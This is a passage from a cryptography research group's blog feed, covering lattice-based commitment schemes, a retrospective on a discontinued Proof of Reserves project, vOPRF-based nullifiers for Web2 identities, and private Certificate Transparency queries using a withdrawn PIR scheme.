$d$, the prover sets the first message to $g^y (g^s)^{-d} $ and the last one to $z_1 = y - s d + s d = y$. This is one of the reasons why the ring $\mathbb{Z}_q[x]/(x^n + 1)$ is used—it provides a larger set of elements with small norm this way (polynomials with small coefficients, as opposed to small integers). In the last step, the verifier must verify whether $z_1$ is small as well. However, that's not the end of the problems with the lattice-based version of Schnorr. Now, if this is a proof of knowledge of $x$, we can extract the value $x$ from the prover. This is typically done by rewinding: we run the prover as a black box twice and obtain two transcripts: $y$, $d_1$, $z_1 = y + x d_1$ and $y$, $d_2$, $z_2 = y + x d_2$. We get: $z_2 - z_1 = x(d_2 - d_1)$ In the Schnorr algorithm, one can simply compute $x = \frac{z_2 - z_1}{d_2 - d_1}$ to obtain the secret $x$ such that $g^x = h$. Using lattices, we obtain $x$ (we can assume $d_2 - d_1$ is invertible) such that $Ax = h$. However, again, $x$ might not be small! Thus, using lattices, one can only extract $\bar{z}$ such that $A \bar{z} = \bar{d} h$ where $\\bar{z} = z\_2 - z\_1 $ and $\bar{d} = d_2 - d_1$. Note that the value $\bar{z}$ is still small (though not as small as $x$), and given $A$ and $h$, it is still hard to get such $\bar{z}$ and $\bar{d}$. In what follows, you will see how the extractor, which returns "only" $\bar{z}$, can still be utilized to construct lattice-based proof systems. ### Lattice-based commitment scheme One of the key steps in the development of lattice-based proof systems was the publication of the paper [More Efficient Commitments from Structured Lattice Assumptions](https://eprint.iacr.org/2016/997.pdf). The commitment scheme described in the paper proceeds as follows. #### Key generation The key generation returns $\bf{A}_1 \in R_q^{n \times k}$ and $\bf{A}_2 \in R_q^{l \times k}$ as $\mathbf{A}_1 = [\mathbf{I}_n | \mathbf{A}_1']$ $\mathbf{A}_2 = [\mathbf{0}^{l \times n} | \mathbf{I}_l | \mathbf{A}_2']$ where $\mathbf{A}_1'$ is random from $R_q^{n \times (k-n)}$ and $\mathbf{A}_2'$ is random from $R_q^{n \times (k-n-l)}$. #### Commitment To commit to $\mathbf{x} \in R_q^l$, we choose a random polynomial vector $\mathbf{r}$ with a small norm and output the commitment $Com(\mathbf{x}, \mathbf{r}) := \begin{pmatrix} \mathbf{c}_1 \\ \mathbf{c}_2 \end{pmatrix} = \begin{pmatrix} \mathbf{A}_1 \\ \mathbf{A}_2 \end{pmatrix} \cdot \mathbf{r} + \begin{pmatrix} \mathbf{0}^n \\ \mathbf{x} \end{pmatrix}$ #### Opening A valid opening of a commitment $\begin{pmatrix} \mathbf{c}_1 \\ \mathbf{c}_2 \end{pmatrix}$ is a 3-tuple consisting of $\mathbf{x} \in R_q^l$, $r = \begin{pmatrix} \mathbf{r}_1 \ ... \ \mathbf{r}_k \end{pmatrix} \in R_q^k$, and $f \in \bar{C}.$ The verifier checks that: $f \cdot \begin{pmatrix} \mathbf{c}_1 \\ \mathbf{c}_2 \end{pmatrix} = \begin{pmatrix} \mathbf{A}_1 \\ \mathbf{A}_2 \end{pmatrix} \cdot \mathbf{r} + f \cdot \begin{pmatrix} \mathbf{0}^n \\ \mathbf{x} \end{pmatrix}$ #### Proof of opening ![](/articles/lattice-based-proof-systems/image-4.webp) Note that the opening for this commitment schemes is not simply $\mathbf{r}$ and $\mathbf{x}$; it also includes a polynomial $f \in \bar{C}.$ This is due to the issue with the extractor described above. The extractor needs to return the triple $\mathbf{x}, \mathbf{r}, f$ such that: $f \cdot \begin{pmatrix} \mathbf{c}_1 \\ \mathbf{c}_2 \end{pmatrix} = \begin{pmatrix} \mathbf{A}_1 \\ \mathbf{A}_2 \end{pmatrix} \cdot \mathbf{r} + f \cdot \begin{pmatrix} \mathbf{0}^n \\ \mathbf{x} \end{pmatrix}$ Such a triple can be obtained through rewinding: $\mathbf{z}_2 - \mathbf{z}_1 = (d_2 - d_1) \mathbf{r}$ Then we have: $\mathbf{A}_1 (\mathbf{z}_2 - \mathbf{z}_1) = (d_2 - d_1) \mathbf{A}_1 \mathbf{r} = (d_2 - d_1) \mathbf{c}_1$ $\mathbf{A}_1 \bar{\mathbf{z}} = f \mathbf{c}_1$ where $\bar{\mathbf{z}} = \mathbf{z}_2 - \mathbf{z}_1$ and $f = d_2 - d_1$. Thus, instead of having $\mathbf{A}_1 \mathbf{r} = \mathbf{c}_1$, we have $\mathbf{A}_1 \bar{\mathbf{z}} = f \mathbf{c}_1$. We extract the message $\mathbf{x}_f$ as: $\mathbf{x}_f = \mathbf{c}_2 −f^{-1} ·\mathbf{A}_2 ·r$ The extracted triple is $\mathbf{x}_f, \mathbf{\bar{z}}, f$. It can be easily seen ($\mathbf{\bar{z}} = f \mathbf{r}$): $f \cdot \begin{pmatrix} \mathbf{c}_1 \\ \mathbf{c}_2 \end{pmatrix} = \begin{pmatrix} \mathbf{A}_1 \\ \mathbf{A}_2 \end{pmatrix} \cdot \mathbf{\bar{z}} + f \cdot \begin{pmatrix} \mathbf{0}^n \\ \mathbf{x}_f \end{pmatrix}$ ## Conclusion Since the commitment scheme described above, there have been many new improvements in the field of lattice-based zero-knowledge proofs. So expect some new material describing lattice-based and other post-quantum cryptographic schemes soon :). At PSE, we are committed to staying at the forefront of this rapidly evolving field by continuously following and testing the latest advancements in post-quantum cryptography. Our goal is to ensure that we are well-prepared for the challenges and opportunities that come with the transition to quantum-safe systems. ]]> <![CDATA[Retrospective: Summa]]> https://pse.dev/blog/retrospective-summa https://pse.dev/blog/retrospective-summa Mon, 10 Feb 2025 00:00:00 GMT <![CDATA[This post was authored by the Summa team.]]> <![CDATA[ ### History and Goals of the project The Summa project began in March of 2023 in response to the collapse of FTX months prior. It aimed to solve an issue that has plagued centralized exchanges since the Mt Gox collapse in 2013; how can users be assured that the funds they entrust to the exchange are going to be available when they choose to withdrawal them? The goal was to create software that helps centralized exchanges (CEX’s) provide _auditor-less_ and _private_ Proof of Reserves\* with instant finality to their users. The project aimed to provide custodial services with tools that allowed more accountable to their users, with minimal additional overhead, while at the same time protecting user privacy. The vision was for frequent audits of a custodian’s reserves possible on the scale of millions of users. \*_Note that in general, while the terms “Proof of Reserves” and “Proof of Solvency” are used interchangeably throughout documentation and references, we use the term “Proof of Reserves” in this post exclusively._ ### Notable contributors - Enrico, Jin, Alex - Nam as consultant ### Technical Approach While the overall technical goal was to optimise both the _time_ and _cost_ for generating a liabilities commitment, each version of Summa had a slightly different approach: - In Summa **Version 1**, Halo2 circuits were used for the proving system, with the verifier and prover written to an onchain smart contract on the Ethereum network. The proofs were then managed via a merkle tree. You can read more about Summa Version 1 in the documentation [here](https://summa.gitbook.io/summa/1). - Summa **Version 2** used the same basic tech stack as version 1, but replaced the merkle tree with the use of univariate sumcheck protocol. This version also made some custom modifications to the Halo2 zero knowledge prover. You can read more about Summa Version 2 in the [official documentation](https://summa.gitbook.io/summa) and technical reports: [Summa V2: Polynomial Interpolation Approach](https://hackmd.io/Rh8_F4blTTGmuJSmmUIB3g) and [Summa 2.0 aka SNARKless Proof Of Solvency for CEX](https://hackmd.io/@summa/r18MaCK7p) - Summa **Version 3** is made up of three different iterations using HyperPlonk, each with distinct tradeoffs. You can learn more about each iteration in [this report](https://hackmd.io/khqyQzoiQ32UjkJd7fegnw). You can learn more about the differences between the three versions, including benchmarking, [here.](https://hackmd.io/wt4NkeUWSWi2ym6DNcsT-Q) ### Achievements Ultimately what the team successfully built was the core infrastructure of a cryptographically provable Proof of Reserves (PoR) system that addresses scalability where many other PoR systems fall short. While many additional components of a comprehensive PoR system aren’t addressed by this work (addressed further down), there is a significant foundation to build on from here. In short, this system operates as follows: - The Custodian verifies their onchain liabilities (customer deposits) by committing a batch of signatures from their addresses to a smart contract. - The Custodian then generates a liabilities commitment, which represents the sum of all user account balances on their platform. - To ensure all account balances were accounted for in the liabilities commitment, the custodian generates and supplies zero knowledge inclusion proofs to each of its customers, who can then independently verify that their individual balance was included. The following are some of the breakthroughs the team made throughout the life of the project: - **Summa Version 1** made improvements over previous PoR systems by including the verifier directly in the contract. This increased the transparency of the verifying contract, ensuring that users were using one standard verifier when verifying their inclusion proofs, and also improved UX and security by reducing the need to run additional local software. - **Summa Version 2** - Offered a novel alternative to merkle trees via the use of the univariate sumcheck protocol, which provided a significant improvement of commitment performance. This was achieved through the development of a more optimised and readable solidity KZG verifier to handle using univariate polynomials in a smart contract. - Used a technique called [Amortized KZG](https://hackmd.io/@summa/HJ-dtmNdT), developed by another team within PSE, to enable batch proofing. This allowed for the verification of customer groups numbering fewer than approximately 10 million, effectively thwarting a profiling attack for groups of this size. - **Summa Version 3** showed a significant improvement over v1 and v2 when it came to generating inclusion proof performance. A benchmark comparison can be seen [here](https://hackmd.io/wt4NkeUWSWi2ym6DNcsT-Q#Performance-Comparison-by-Summa-versions). - Additionally, the team published this [vulnerability report on Binance’s Proof of Reserves system](https://hackmd.io/@summa/HygFa2eek0). ## Challenges and Learnings ### Technical Challenges Implementing robust Proof of Reserve systems presents significant technical challenges that extend far beyond simple data verification. It’s imperative to consider things such as performance tradeoffs, security vulnerabilities, attack vectors and scalability limitations. Intention must be given to carefully balance commitment times, proof generation efficiency, and protection against potential profiling attacks; all while maintaining the core goal of creating a transparent, verifiable system that can demonstrate cryptocurrency custodial holdings without compromising user privacy or introducing systemic risks. The following are technical challenges the team faced throughout the development process: - The team was not able to create a system that is cryptographically provable from beginning to end. The address ownership proof is optimistically verifiable, and there is no recourse for customers if their proof does end up being invalid. - In general, any improvement of the commitment time introduced performance tradeoffs by increasing the inclusion proof time, and vice versa. - Discrete Fourier transform (DFT) presented a scalability bottleneck in v2 when using univariate sumcheck protocol. This inspired the exploration of hyperplonk in v3 to try to mitigate that bottleneck, which ultimately led to a regression. - In v3 it was no longer possible to use the KZG verifier in the smart contract due to the lack of a hyperplonk verifier written in solidity, and we reverted to the use of additional software for verification. This unfortunately negated the improvements introduced in Version 1 and 2 of having the verifier placed in the contract. - V3 also introduced a balancing attack due to the non-zero constraint feature introduced to remove the running sum. Due to this, two alternative iterations of v3 were briefly explored, each offering their own tradeoffs; you can find a detailed comparison of the different iterations [here](https://hackmd.io/khqyQzoiQ32UjkJd7fegnw). - Due to the lack of structured reference strings (SRS) in hyperplonk Summa, Version 3 requires its own trusted setup. Switching to plonkish backend could potentially solve the trusted setup issue, but more research would be needed to confirm this. - Big datasets using the same proof were limited to generating proofs for only 9-10 currencies without the need for more commitment proofs to be generated. This isn’t an insurmountable issue, but the team chose not to pursue it toward the end of the project’s life. - There are general limitations associated with generating all inclusion proofs at once, especially for large batches. By generating proofs on demand instead of all at once, the custodian can easily see which customers are actively verifying proofs or not. This opens up a profiling attack, explained in more detail [here](https://www.notion.so/Challenges-8c0e4718b93f4a1ca3537c348e8a621d?pvs=21). - Additional Summa attack vectors are documented [here](https://hackmd.io/@summa/SJYZUtpA2). ### Organizational Challenges The development also faced significant organizational challenges, primarily due to a lack of clear goals and a structured roadmap with defined milestones. The team reflected that approaching the initiative as a research project rather than a product would have allowed for deeper exploration of concepts instead of prioritizing user experience optimizations prematurely. Additionally, the assumption that adoption would naturally follow development (“build it and they will come”) proved false, further emphasizing the need for clearer objectives and strategic planning from the outset to measure success effectively. ### Adoption Adoption of the software faced significant hurdles due to a lack of thorough research into the problem space and unclear project goals, which hindered the team’s ability to engage effectively with CEXs and gather meaningful feedback. Additionally, it became evident that custodians had little incentive to implement robust Proof of Reserves systems, as there was limited demand or pressure from their customers to prioritize transparency and accountability, despite a vocal call to do so in the wake of the FTX collapse. The team found that even in cases where CEXs had implemented some form of PoR, it often fell short of a true Proof of Reserves system, insufficient for ensuring transparency, privacy and recourse for exchange users. ### Discontinuing the project Following an [analysis](https://pse-team.notion.site/summa-analysis?pvs=74) of the status and impact of Summa, the team decided to halt development. The decision to discontinue the project stemmed from a growing understanding that the issues it aimed to address — such as reducing the cost of generating liability commitments for large customer sets — were only one small part of a much larger problem space in the Proof of Reserves landscape. Key components necessary for a truly robust PoR system, such as offchain asset verification, dispute resolution mechanisms, and zero-knowledge address ownership verification, were identified as critical but clearly fell outside the project’s scope. Additionally, the assumption that improving the speed and cost-efficiency of commitments and proofs would drive industry-wide adoption proved overly simplistic. The team also recognized that other, more impactful PoR challenges existed but were beyond their capacity to address, making it clear that solving these broader issues alongside the specific ones the team addressed would be essential for scalable adoption. ### The Future The Summa project, born in response to the FTX collapse, made significant strides in developing a scalable and cryptographically robust Proof of Reserves system for centralized cryptocurrency exchanges. Despite facing various challenges, the team achieved several notable outcomes: - Creating three versions of the Summa system, each [iterating on performance](https://hackmd.io/wt4NkeUWSWi2ym6DNcsT-Q?view=#Performance-Comparison-by-Summa-versions) and [security aspects.](https://hackmd.io/wt4NkeUWSWi2ym6DNcsT-Q?stext=11843%3A1719%3A0%3A1738307701%3A1ckFiy&view=) - [Implementing an innovative alternative to Merkle trees using the sumcheck protocol.](https://hackmd.io/wt4NkeUWSWi2ym6DNcsT-Q#Summa-V2) - Developing a Solidity KZG verifier for improved smart contract integration. - [Significantly improving inclusion proof generation performance in the final version.](https://hackmd.io/wt4NkeUWSWi2ym6DNcsT-Q#Performance-Comparison-by-Summa-versions) These tools and resources provide a solid foundation for future PoR system development. While the project is no longer under active development, its findings and technical achievements remain valuable. Future researchers and developers can build upon this work by addressing identified gaps, such as off-chain asset verification and dispute resolution mechanisms, to create more comprehensive PoR solutions. For those interested in continuing this work: - A comprehensive project analysis is available [here](https://pse-team.notion.site/summa-analysis?pvs=74). - A list of potential improvement components can be found [here](https://www.notion.so/Improvement-Components-390eb0fd89944631a162c3223de02a68?pvs=21) - An audit by yAcademy has been [completed](https://github.com/electisec/summa-audit-report/blob/main/README.md) and the issues raised in the audit have been addressed [here](https://github.com/summa-dev/summa-solvency/pull/300). - The project’s [GitHub repository](https://github.com/summa-dev) will remain open source. While no further development is currently planned, the Summa project’s contributions to the field of Proof of Reserves systems provide a valuable starting point for future innovations in cryptocurrency exchange transparency and security. ]]> summa proof of reserves zero-knowledge proofs cryptography privacy security centralized exchange halo2 ethereum infrastructure/protocol <![CDATA[Web2 Nullifiers using vOPRF]]> https://pse.dev/blog/web2-nullifiers-using-voprf https://pse.dev/blog/web2-nullifiers-using-voprf Thu, 30 Jan 2025 00:00:00 GMT <![CDATA[This post was written by PSE researcher Rasul Ibragimov. Big thanks to Lev Soukhanov for explaining the majority of this to me - without him, this blog post wouldn't exist.]]> <![CDATA[ ## Abstract Recent development of protocols, that allow us to make Web2 data portable & verifiable such as [ZK Email](https://prove.email/) or [TLSNotary](https://tlsnotary.org/) opens new use-cases and opportunities for us. For example, we can make proof of ownership of some x.com username or email address and verify it on-chain with ZK Email. Projects like [OpenPassport](https://www.openpassport.app/), [Anon Aadhaar](https://github.com/anon-aadhaar/anon-aadhaar) (and others) are also the case. We can also do more complex things, e.g. forum where holders of @ethereum.org email addresses will be able to post anonymously, using zk proofs of membership. Projects like [Semaphore](https://semaphore.pse.dev/) helps us to build pseudonymous systems¹ with membership proofs for "Web3 identities". In Semaphore users have their $\text{public\_id} = \text{hash(secret, nullifier)}$, and $\text{nullifier}$ actually serves as an id of user - we still don't know who exactly used the system, but we'll be able to find out if they used it more than once. But the thing is **we don't have any nullifiers** in ZK Email/TLS, etc. - that's why it's not possible to create such systems for Web2 identities out of the box. The solution for that is vOPRF. vOPRFs (verifiable Oblivious PseudoRandom Functions) - are protocols that allow a client to generate deterministic random based on their input, while keeping it private. So, there're two parties in the protocol - first one as I said is a client, and second one is a OPRF network (usually [MPC](https://en.wikipedia.org/wiki/Secure_multi-party_computation) is used for that). With OPRF we'll be able to generate nullifiers for Web2 ID's': users will just need to ask the MPC to generate it, e.g., based on their email address (without revealing plain text of course). We can do many things based on that: - Anonymous voting with ported Web2 identities; - Anonymous airdrops - projects can just list Github accounts, that are eligible for airdrop, and users will be able to claim (only once) with proof of Github using ZK Email; - Pseudonymous forums - I mentioned it before, but with OPRF we can have pseudonyms and limit user to only one account + it might be easier to track & ban spammers - ... many more. Read the next section for more details. ## Detailed explanation ### Main protocol There are three parties involved in protocol: - **User**, that is trying to do some action with their Web2 identity (e.g. google account) pseudonymously (e.g. anonymously participate in voting). - **OPRF** Server/Network (will just call OPRF). - We use MPC, because in the case of having only one node generating nullifiers for users - it'll be able to bruteforce and find out which Web2 identity corresponds to a given nullifier. Every node has to commit to their identity somehow - e.g., by storing their EC public key on a blockchain. For simplicity I'll explain the case with one node OPRF first, and in the OPRF-MPC section I'll explain how we can extend it to multiple nodes. - **Ethereum** (or any other smart-contract platform) **1)** User makes ZK Email/TLS auth proof with salted commitment to UserID (or email, name, etc.) as a public output:                                                   $\text{commitment₁} = \text{hash} \text{(UserID,salt)}$ I'll call it just **Auth proof.** **2)** User sends new commitment to their UserID to OPRF:                                                         $\text{commitment₂} = r * G$ where $G = \text{hashToCurve}(\text{UserID})$, and $\\r$ is random scalar. We want to prevent users from sending arbitrary requests (because they would be able to attack the system by sending commitments to different user's identities), so user must additionally provide a small zk proof, that checks the relation between the commitments, where: Public inputs: $\text{commitment₁}$, $\text{commitment₂}$ - Private inputs: $\text{UserID}, \text{salt}, r$ and constraints:                                                   $\text{commitment₁} = \text{hash}(\text{UserID},\text{salt})$                                                        $\text{G} = \text{hashToCurve}(\text{UserID})$                                                         $\text{commitment₂} = r * G$ **3)** OPRF replies with:                                                $\text{oprf \textunderscore response} = s * \text{commitment₂}$ where $s$ is a private key of OPRF node; and also replies with proof of correctness of such multiplication, which is in this case might be a Chaum-Pedersen proof of discrete log equality (check [this blog post](https://muens.io/chaum-pedersen-protocol) on that). **4)** User creates zk proof with the following parameters: - Public outputs: $\text{commitment₁}, \text{nullifier}$ - Private inputs: $r, \text{UserID}, \text{salt}, \text{chaum \textunderscore pedersen \textunderscore proof}, \text{oprf \textunderscore response}$ and validates that:                                                   $\text{commitment₁} = \text{hash}(\text{UserID},\text{salt})$                                                    $G \longleftarrow \text{hashToCurve}(\text{UserID})$                                               $\text{chaumPedersenVerify} (\text{oprf \textunderscore response})$                                                    $\text{nullifier} \longleftarrow r^{-1} * \text{oprf \textunderscore response}$ ### On nullifiers That's it, we have a nullifier - and now users can use the system as in Semaphore. If we go a bit further, it's worth to mention that users shouldn't reveal nullifier, because it's linked with their $\text{UserID}$; and if they use the same $\text{UserID}$ in different apps - it'll be possible to track them. We can do it a bit differently - instead of revealing nullifier we can reveal $hash(\text{nullifier}, \text{AppID})$ - where $\text{AppID}$ is a unique identifier of the app, and that's gonna be our real nullifier. ## OPRF MPC In the example above we used only one node OPRF, but we can easily extend it to multiple nodes. There're many ways to do that, I'll explain few: **1)** N of N MPC: - 1.1. All nodes have their own pair of keys. - 1.2. Every node does step 3 individually: we get $\text{oprf \textunderscore response}_i = s_i * r * G$ - 1.3. On step 4 we verify $\text{chaum \textunderscore pedersen \textunderscore proof}$ for every node - 1.4 We calculate $\text{nullifier}_i = \text{oprf \textunderscore response}_i * r^{-1}$ - 1.5 We calculate $\sum_{i=1}^N\text{nullifier}_i = s * G$ _Important to mention that we have to verify/calculate everything in the circuit._ **2)** M of N MPC using linear combination for Shamir Secret Sharing: - Similar to N of N MPC, but we need only M shares **3)** Using BLS: - 3.1. Calculate common public key of all OPRF nodes by summing individual public keys - 3.2. The same as in N of N MPC case - 3.3., 3.4, 3.5. - The same as in N of N MPC case, **BUT** we can do it outside the circuit - 3.6. Verify BLS pairing in the circuit 1. Pseudonymous system - a privacy-preserving system, where users' transactions are linked to unique identifiers (pseudonyms), but not their actual identities. ]]> voprf nullifiers zero-knowledge proofs privacy web2 identity cryptography mpc anonymity/privacy infrastructure/protocol <![CDATA[Certificate Transparency Using NewtonPIR [PAPER WITHDRAWN]]]> https://pse.dev/blog/certificate-transparency-using-newtonpir https://pse.dev/blog/certificate-transparency-using-newtonpir Tue, 28 Jan 2025 00:00:00 GMT <![CDATA[This post was written by PSE grantee Vishal Kulkarni.]]> <![CDATA[ ## Introduction ### Key concepts **Certificate Transparency** [Certificate Transparency (CT)](https://certificate.transparency.dev/howctworks/) is a standard for verifying digital certificates such as those used by websites secured by HTTPS. CT employs a transparent log of certificates issued by a trusted Certificate authority (CA), which anyone can check to verify that a certificate is valid (for most people surfing the web, this is done automatically by the browser). ![If you've ever seen this screen, you've witnessed Certificate Transparency in action!](Certificate%20Transparency%20Using%20NewtonPIR%20%E2%80%94%20Privacy%20and%20Scaling%20Explorations/DlH0JnyUnpx0xrt8leL5h.png) If you've ever seen this screen, you've witnessed Certificate Transparency in action! Certificate transparency is an important tool for protecting users from security risks like website spoofing or malicious interference in web traffic, but it also raises some privacy concerns: parties that keep CT logs can potentially gain information about users based on their queries. **NewtonPIR** [Private Information Retrieval (PIR)](https://arxiv.org/abs/2304.14397) is a protocol that lets a user get information from a database without revealing to the owner what data they retrieved. PIR has many potential uses in privacy-preserving applications, but it requires complex communication and computation which can be prohibitively expensive with large databases. There are many PIR implementations taking different approaches cryptographic techniques. [NewtonPIR (WITHDRAWN)](https://eprint.iacr.org/archive/2024/1909/1732446191.pdf) is a proposed scheme for highly efficient PIR using [Fully Homomorphic Encryption (FHE)](https://mirror.xyz/privacy-scaling-explorations.eth/D8UHFW1t48x2liWb5wuP6LDdCRbgUH_8vOFvA0tNDJA). ### Private CT queries with NewtonPIR NewtonPIR enhances privacy in CT by enabling users to query public logs for SSL/TLS certificates without revealing which domains they are checking. This application helps domain owners and auditors ensure no unauthorized certificates have been issued for their domains while maintaining privacy. It prevents CT log operators or third parties from inferring sensitive information about user interests or monitoring activities. By integrating privacy-preserving queries, this approach supports the core goals of CT ensuring transparency and accountability in certificate issuance without compromising the privacy of the querying parties. It is particularly valuable for large-scale monitoring of CT logs, protecting user confidentiality while upholding security and trust in SSL/TLS ecosystems. This application would allow users (domain owners, auditors) to query public CT logs for SSL/TLS certificates without revealing the domain names they are checking.This application was initially discussed in this [paper](https://eprint.iacr.org/2022/949.pdf). For further details and insights into their proposed solutions, please refer to the paper. ![CT Workflow](Certificate%20Transparency%20Using%20NewtonPIR%20%E2%80%94%20Privacy%20and%20Scaling%20Explorations/HJFbQKyuyl.png) CT Workflow The figure above illustrates the overall workflow of Certificate Transparency, showing how the domain owner requests certificates from the CA, how the CA responds with the SCT, and how logs are monitored. ## Existing SCT Auditing Approaches Signed Certificate Timestamp (SCT) is a cryptographic proof that a digital certificate has been submitted to a Certificate Transparency (CT) log. It ensures that the certificate is publicly logged and visible. The client uses the SCT received from the server during the TLS handshake to verify if it has been publicly logged. ### 1\. Opt-Out Auditing (Current Chrome Approach) Rather than client directly interacting with the CT log server Google's solution involves an SCT auditor which maintains a global set of all valid SCTs for active certificates. Allows clients to check if an SCT is valid without directly revealing which SCT they are verifying. #### How it Works - Client calculates the hash of the SCT - Clients reveal the first 20 bits of an SCT's hash to the auditor. - The auditor provides all matching SCTs (around 1000), achieving k-anonymity (with k=1000). - Drawback: Partial SCT hash leakage can still compromise privacy. #### Efficiency - Google Chrome's model randomly samples 0.01% of SCTs for auditing, drastically reducing costs but also decreasing the chance of catching invalid SCTs. - Despite this low per-client detection rate, the distributed nature of auditing across many clients ensures high detection probabilities for invalid SCTs. ### 2\. Anonymizing Proxies - Clients use anonymity-preserving networks like Tor to query the auditor which are intermediaries that hide a user's identity and online activity. - While anonymity is preserved, the entire distribution of SCTs can still be observed by the auditor. - When using anonymizing proxies, bugs like [timing attacks](https://medium.com/spidernitt/introduction-to-timing-attacks-4e1e8c84b32b) can exploit variations in response times to infer sensitive information about user activities, such as the websites they visit or the content they access. This is done by correlating the time it takes for requests to pass through the proxy with specific patterns. Similarly, [deanonymization](https://www.techtarget.com/whatis/definition/de-anonymization-deanonymization) can occur through traffic analysis, where the size, frequency, or timing of requests is matched to a user's behavior, or through leaks of metadata or unique identifiers, which expose the user's identity despite the use of the proxy. ## Overview of PIR-CT **Goal** - Enable private queries to Certificate Transparency logs using NewtonPIR. - Prevent CT log operators from learning which certificate (or domain name) a user is querying. **Core Components** - NewtonPIR: Efficient single-server PIR to retrieve entries privately from large CT logs. - Certificate Transparency Logs: Public, append-only logs that store SSL/TLS certificates. - Client Application: Queries the CT logs using PIR while hiding its query intent. - Server (CT Log Operator): Hosts the CT logs and responds to PIR-based queries. ## System Design ### Certificate Transparency Logs - CT logs are stored as a database of certificates where each entry includes: Domain name (e.g., [example.com](http://example.com/)) Certificate details (e.g., public key, issuer, serial number, validity) - Timestamp: When the certificate was issued. - SCT (Signed Certificate Timestamp): Proof of inclusion in the log. Each certificate is uniquely identified by an index in the database. ### Database Setup for NewtonPIR NewtonPIR operates on a single-server model, where the server stores the CT log database. Database Format: The CT log is represented as an array: - D=\[d1,d2,d3,...dn\] where di is the i-th certificate.N is the total number of certificates in the CT log. - Storage: The CT log operator (server) stores the entire log database in a form accessible for PIR queries. Certificates are indexed sequentially. - Index Mapping:A mapping is maintained to relate domain names to their corresponding indices.Example: [example.com](http://example.com/) → index 524. ### NewtonPIR Overview NewtonPIR introduces an efficient single-server PIR scheme that: - Reduces communication overhead independent of the database size N. Utilizes single-ciphertext Fully Homomorphic Encryption (FHE). - Leverages Newton interpolation polynomials to optimize query computation. ### Querying Process The querying process includes the following steps: - Step 1: Preprocessing (Client Setup) - The client initializes the NewtonPIR protocol and generates a query for a specific index i. - The query is homomorphically encrypted (FHE-based) so that the server cannot determine which index the client is requesting. - Step 2: Server Response:- - The server processes the PIR query using the NewtonPIR protocol: - The query is evaluated over the CT log database. The server computes a response using Newton interpolation polynomials, which reduces computation complexity. - The server sends back the encrypted response to the client. - Step 3: Client Decryption - The client decrypts the server's response using their secret key to retrieve the certificate at the requested index. ### Steps for Integrating NewtonPIR into CT - Log Database Setup: - Store the CT logs in an indexed array format on the server. - Use NewtonPIR to enable private access to the log entries. - Query Interface: - Build a client-side application where users input a domain name. - Convert the domain name into a queryable index (e.g., using a hash or pre-built mapping). - Private Query: - The client formulates a NewtonPIR query for the corresponding index. - The query is encrypted and sent to the server. - Server Computation: - The server applies NewtonPIR to process the encrypted query and sends the result back. - Client Validation: - The client decrypts the response to retrieve the certificate. - Optionally, verify the certificate's SCT and ensure its correctness. ## Technical Architecture of PIR-CT - Client-Side Components: - Query Generator: Generates homomorphic PIR queries using NewtonPIR. - Domain-to-Index Mapping: Resolves domain names to indices in the CT log database. - Decryption Module: Decrypts responses from the server. - Validation Module: Verifies certificates and SCTs. - Server-Side Components: - NewtonPIR Engine: Processes PIR queries using Newton interpolation and FHE. - CT Log Database: Hosts the CT logs in a structured array format. - Query Processor: Responds to encrypted client queries. ### Advantages of NewtonPIR for CT - Efficient Communication: - NewtonPIR's communication cost does not depend on the database size N, making it ideal for large CT logs. Privacy-Preserving: - The server learns nothing about the client's query (index or domain name). - Scalability: - CT logs can grow to millions of entries without increasing communication overhead. - Fast Computation: - NewtonPIR reduces computational overhead using Newton interpolation polynomials, making it practical for real-world use. - Since the logs operate as append-only databases, computing the polynomial using Newton interpolation becomes highly efficient. - Single-Server Deployment: - NewtonPIR works with a single server, simplifying infrastructure requirements. - Benchmark compared to other PIR Scheme ![](Certificate%20Transparency%20Using%20NewtonPIR%20%E2%80%94%20Privacy%20and%20Scaling%20Explorations/SyLR6fbDkl.png) ### Challenges and Solutions - Domain-to-Index Mapping: - Challenge: Efficiently map domain names to database indices. - Solution: Use a hash table or a precomputed index mapping. Log Updates: - Challenge: CT logs are constantly updated with new certificates. - Solution: Periodically re-index the database to reflect new entries In this example, I used a simple method with a hashmap, but checking the SCT of every visited site is inefficient. Maybe we should use a data structure like Bloom Filters, which allows for occasional false positives. - Initial Setup: - NewtonPIR requires a preprocessing step to set up the FHE keys and mappings. ### Use Case Workflow - Client Request: - Input: Domain name (e.g., [example.com](http://example.com/)). Convert domain to an index i. - NewtonPIR Query: - Generate an encrypted query for i. - Send the query to the CT log server. - Server Response: - The server evaluates the query using NewtonPIR and sends back the encrypted result. - Client Validation: - Decrypt the response to retrieve the certificate. - Validate the certificate and its SCT. ## Conclusion So, does this enable fully private web search? Not entirely. While it prevents the client's browser history from being visible to the CT server, the source server can still identify who is accessing the page, and attackers can use metadata or [fingerprinting](https://www.recordedfuture.com/threat-intelligence-101/vulnerability-management-threat-hunting/fingerprinting-in-cybersecurity) to determine the user's identity. This blog provides only a basic overview of how PIR can be applied to CT to address a privacy concern. There may be other PIR schemes that could perform better in this context. I'd love to hear your feedback and suggestions for improvement! Join the conversation [here](https://forum.pse.dev/post/1/21). ]]> certificate transparency newtonpir privacy security private information retrieval fhe cryptography web security tls zero-knowledge <![CDATA[Self-Sovereign Identity & Programmable Cryptography: Challenges Ahead]]> https://pse.dev/blog/self-sovereign-identity-programmable-cryptography-challenges-ahead https://pse.dev/blog/self-sovereign-identity-programmable-cryptography-challenges-ahead Thu, 23 Jan 2025 00:00:00 GMT <![CDATA[This post was written by [0xZoey](https://twitter.com/0xZoey), with contributions from Chance.]]> <![CDATA[ ## Introduction Self-Sovereign Identity (SSI) and its implementation through decentralized ledgers represents one of blockchain technology's most promising applications, particularly within the Ethereum ecosystem. While SSI adoption faces both technical and social challenges, this article focuses specifically on the advancement of privacy-preserving cryptographic primitives essential to its implementation. Similar to decentralization, the fulfillment of fundamental “SSI” properties by current stacks currently exists on a wide spectrum. It is not uncommon for identity stacks to be agnostic to the choice of a digital wallet or verifiable data registry (distributed ledger), however, the interactions between information query, storage, and retrieval are often opaque. The flexibility and lack of oversight on how each stack is used in production and real-world applications means that some of these properties are lost in implementation, making understanding the technical nuance of SSI all the more critical. ![](/articles/self-sovereign-identity-programmable-cryptography-challenges-ahead/gtJT_j23v1kndU--QGd5t.webp) Through extensive ecosystem consultation and research conducted by the zkID team at PSE over the past year, this article aims to contribute to the broader dialogue on SSI development. Enhanced industry collaboration can accelerate progress toward a unified vision of decentralized digital identity. ## What is Self-Sovereign Identity (SSI)? Self-sovereign Identity is more than a technological concept - it's a philosophical reimagining of personal digital autonomy. Unlike traditional identity systems where third parties control and 